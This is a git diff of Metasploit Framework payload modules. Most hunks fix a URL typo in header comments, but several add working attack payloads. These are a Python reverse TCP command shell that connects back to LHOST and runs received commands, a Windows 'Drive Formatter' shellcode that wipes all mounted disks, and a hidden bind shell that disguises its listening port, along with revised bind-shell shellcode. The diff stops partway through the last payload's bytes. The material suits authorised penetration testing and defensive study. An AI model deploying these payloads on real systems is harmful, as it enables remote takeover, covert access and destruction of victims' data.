a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index 0887f27d5d..21f013bb58 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via PHP)', 'Description' => 'Listen for a connection and spawn a command shell via php', - 'Author' => ['egypt', 'diaul ',], + 'Author' => ['egypt', 'diaul ',], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_php_ipv6.rb b/modules/payloads/singles/php/bind_php_ipv6.rb index 5f268896ac..4827bc0053 100644 --- a/modules/payloads/singles/php/bind_php_ipv6.rb +++ b/modules/payloads/singles/php/bind_php_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via php) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via php (IPv6)', - 'Author' => ['egypt', 'diaul ',], + 'Author' => ['egypt', 'diaul ',], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index e2bfa8f6a3..444e200ea3 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb index 3b2007d3c5..433cee9646 100644 --- a/modules/payloads/singles/php/exec.rb +++ b/modules/payloads/singles/php/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 80624e9388..50975462a8 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/reverse_perl.rb b/modules/payloads/singles/php/reverse_perl.rb index 043a6a38a5..92a6aab6cd 100644 --- a/modules/payloads/singles/php/reverse_perl.rb +++ b/modules/payloads/singles/php/reverse_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index 43abc81e7c..4bc09ebe04 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index 0c86dc7f1a..7c95d56532 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,7 +33,7 @@ module Metasploit3 Apache but it might work on other web servers that leak file descriptors to child processes. }, - 'Author' => [ 'egypt ' ], + 'Author' => [ 'egypt' ], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Handler' => Msf::Handler::FindShell, diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb new file mode 100644 index 0000000000..6ae20e4c01 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -0,0 +1,68 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Reverse TCP (via python)', + 'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3', + 'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd << "import socket,os\n" + cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" + # The actual IO + cmd << "#{dead}=False\n" + cmd << "while not #{dead}:\n" + cmd << "\tdata=so.recv(1024)\n" + cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" + cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" + cmd << "\tstdout_value=stdout.read()+stderr.read()\n" + cmd << "\tso.send(stdout_value)\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + + cmd + end + +end + diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index 7601be09ea..47aa0d050d 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,12 +15,12 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Name' => 'Command Shell, Reverse TCP SSL (via python)', 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, 'Platform' => 'python', - 'Arch' => ARCH_CMD, + 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'python', @@ -36,8 +36,7 @@ module Metasploit3 # Constructs the payload # def generate - vprint_good(command_string) - return super + command_string + super + command_string end # @@ -60,11 +59,10 @@ module Metasploit3 cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.send(stdout_value)\n" - # The *nix shell wrapper to keep things clean # Base64 encoding is required in order to handle Python's formatting requirements in the while loop cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" - return cmd + cmd end - end + diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb index 68f26ab8df..74eb9aa7bc 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb index 8248f30a63..678ed420ab 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index f17c66994e..c98cb3c89a 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb index 307d0fc897..1082687e17 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb index b70d21a99a..13cf5c4d89 100644 --- a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/sparc/shell_find_port.rb b/modules/payloads/singles/solaris/sparc/shell_find_port.rb index 76f3b089a5..8203e9f97e 100644 --- a/modules/payloads/singles/solaris/sparc/shell_find_port.rb +++ b/modules/payloads/singles/solaris/sparc/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb index 4ecb02aded..2586ac024b 100644 --- a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb index d90eb85a6f..39454d07c7 100644 --- a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/x86/shell_find_port.rb b/modules/payloads/singles/solaris/x86/shell_find_port.rb index 0fbde60b05..1b75e84b01 100644 --- a/modules/payloads/singles/solaris/x86/shell_find_port.rb +++ b/modules/payloads/singles/solaris/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb index 38990d00ab..6f4f317e3a 100644 --- a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/tty/unix/interact.rb b/modules/payloads/singles/tty/unix/interact.rb index ade41d443a..ddd8b185e4 100644 --- a/modules/payloads/singles/tty/unix/interact.rb +++ b/modules/payloads/singles/tty/unix/interact.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/adduser.rb b/modules/payloads/singles/windows/adduser.rb index 7c1a49a6fd..f777080c60 100644 --- a/modules/payloads/singles/windows/adduser.rb +++ b/modules/payloads/singles/windows/adduser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index 3dc2eec8ba..b994c26bf3 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index bd3f088f97..1c1a5fbfad 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/exec.rb b/modules/payloads/singles/windows/exec.rb index 421cfa24c3..086b0df598 100644 --- a/modules/payloads/singles/windows/exec.rb +++ b/modules/payloads/singles/windows/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/format_all_drives.rb b/modules/payloads/singles/windows/format_all_drives.rb new file mode 100644 index 0000000000..7fa454c0a5 --- /dev/null +++ b/modules/payloads/singles/windows/format_all_drives.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +### +# Shellcode Of Death +# +# Test bed: +# x86: Windows XP SP3, Windows 2003 SP2, Windows 7 +# x64: Windows 8.1 +# +### + +require 'msf/core' + +module Metasploit3 + + Rank = ManualRanking + + include Msf::Payload::Windows + include Msf::Payload::Single + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Drive Formatter', + 'Description' => %q{ + This payload formats all mounted disks in Windows (aka ShellcodeOfDeath). + + After formatting, this payload sets the volume label to the string specified in + the VOLUMELABEL option. If the code is unable to access a drive for any reason, + it skips the drive and proceeds to the next volume. + }, + 'Author' => [ 'Ashfaq Ansari ', + 'Ruei-Min Jiang ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://hacksys.vfreaks.com/research/shellcode-of-death.html' ], + [ 'URL', 'https://github.com/hacksysteam/ShellcodeOfDeath' ], + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Privileged' => true, + )) + + # EXITFUNC is not supported + deregister_options('EXITFUNC') + + # Register command execution options + register_options( + [ + OptString.new('VOLUMELABEL', [ false, "Set the volume label", "PwNeD" ]) + ], self.class) + end + + def generate + + volume_label = datastore['VOLUMELABEL'] || "" + encoded_volume_label = volume_label.to_s.unpack("C*").pack("v*") + + # Calculate the magic key + magic_key = encoded_volume_label.length + 28 + + # Actual payload + payload_data = "\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83" + + "\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c" + + "\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b" + + "\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83" + + "\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b" + + "\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4" + + "\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33" + + "\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89" + + "\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8" + + "\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf" + + "\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83" + + "\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d" + + "\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff\xd3\x8d\x86" + + # You need to adjust this. Logic: encoded_volume_label.length + 28 + [magic_key].pack("C") + + "\x00\x00\x00\x50\x68\x00\x10\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50\x8d\x86\x10\x00" + + "\x00\x00\x50\x6a\x0c\x8d\x46\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00\x00\x8b\x5d\x04" + + "\xff\xd3\x89\xf9\x83\x46\x08\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8\x7d\xff\xff\xff" + + "\x5c\x00\x5c\x00\x2e\x00\x5c\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00\x54\x00\x46\x00" + + "\x53\x00\x00\x00" + + # Volume Label, default: PwNeD + encoded_volume_label + + "\x00\x00\x55\x89\xe5\x31\xc0\x40\x5d\xc2\x0c\x00" + end +end diff --git a/modules/payloads/singles/windows/loadlibrary.rb b/modules/payloads/singles/windows/loadlibrary.rb index 0fcf689a85..a3d1d2f01c 100644 --- a/modules/payloads/singles/windows/loadlibrary.rb +++ b/modules/payloads/singles/windows/loadlibrary.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index b13df2c010..f5c6f39f0d 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -86,7 +86,7 @@ EOS call [ebp+8] ;ExitProcess/Thread(0) EOS - # if exit is set to seh, overrule + # if exit is set to seh or none, overrule if datastore['EXITFUNC'].upcase.strip == "SEH" # routine to exit via exception doexit = < { - 'LPORT' => [ 201, 'n' ], - 'EXITFUNC' => [ 311, 'V' ], + 'LPORT' => [ 192, 'n' ], + 'EXITFUNC' => [ 298, 'V' ], }, 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - "\xD5\x89\xC7\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" + - "\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF" + - "\xD5\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x89\xC7\x68\x75" + - "\x6E\x4D\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31" + - "\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44" + - "\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53" + - "\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68" + - "\x08\x87\x1D\x60\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D" + - "\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F" + - "\x6A\x00\x53\xFF\xD5" + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" + + "\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" + + "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" + + "\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" + + "\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57" + + "\x57\x57\x31\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01" + + "\x01\x8D\x44\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E" + + "\x56\x56\x53\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46" + + "\xFF\x30\x68\x08\x87\x1D\x60\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6" + + "\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" + + "\x13\x72\x6F\x6A\x00\x53\xFF\xD5" } )) end diff --git a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb index a05617a8ad..55c0d0c2b3 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Disable Windows ICF, Command Shell, Bind TCP Inline', 'Description' => 'Disable the Windows ICF, then listen for a connection and spawn a command shell', - 'Author' => 'Lin0xx ', + 'Author' => 'Lin0xx ', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb new file mode 100644 index 0000000000..b9d5897ecd --- /dev/null +++ b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Hidden Bind TCP Inline', + 'Description' => 'Listen for a connection from certain IP and spawn a command shell. + The shellcode will reply with a RST packet if the connections is not + comming from the IP defined in AHOST. This way the port will appear + as "closed" helping us to hide the shellcode.', + 'Author' => + [ + 'vlad902', # original payload module (single_shell_bind_tcp) + 'sd', # original payload module (single_shell_bind_tcp) + 'Borja Merino ' # Add Hidden ACL functionality + ], + 'License' => MSF_LICENSE, + 'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 193, 'n' ], + 'AHOST' => [ 255, 'ADDR' ], + 'EXITFUNC' => [ 356, 'V' ], + }, + 'Payload' => + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31\xDB\x53\x68\x02" + + "\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5" + + "\x6A\x01\x54\x68\x02\x30\x00\x00\x68\xFF\xFF\x00\x00\x57\x68\xF1" + + "\xA2\x77\x29\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\xE8" + + "\x17\x00\x00\x00\x8B\x44\x24\x04\x8B\x40\x04\x8B\x40\x04\x2D\xC0" + + "\xA8\x01\x21\x74\x03\x31\xC0\x40\xC2\x20\x00\x53\x53\x57\x68\x94" + + 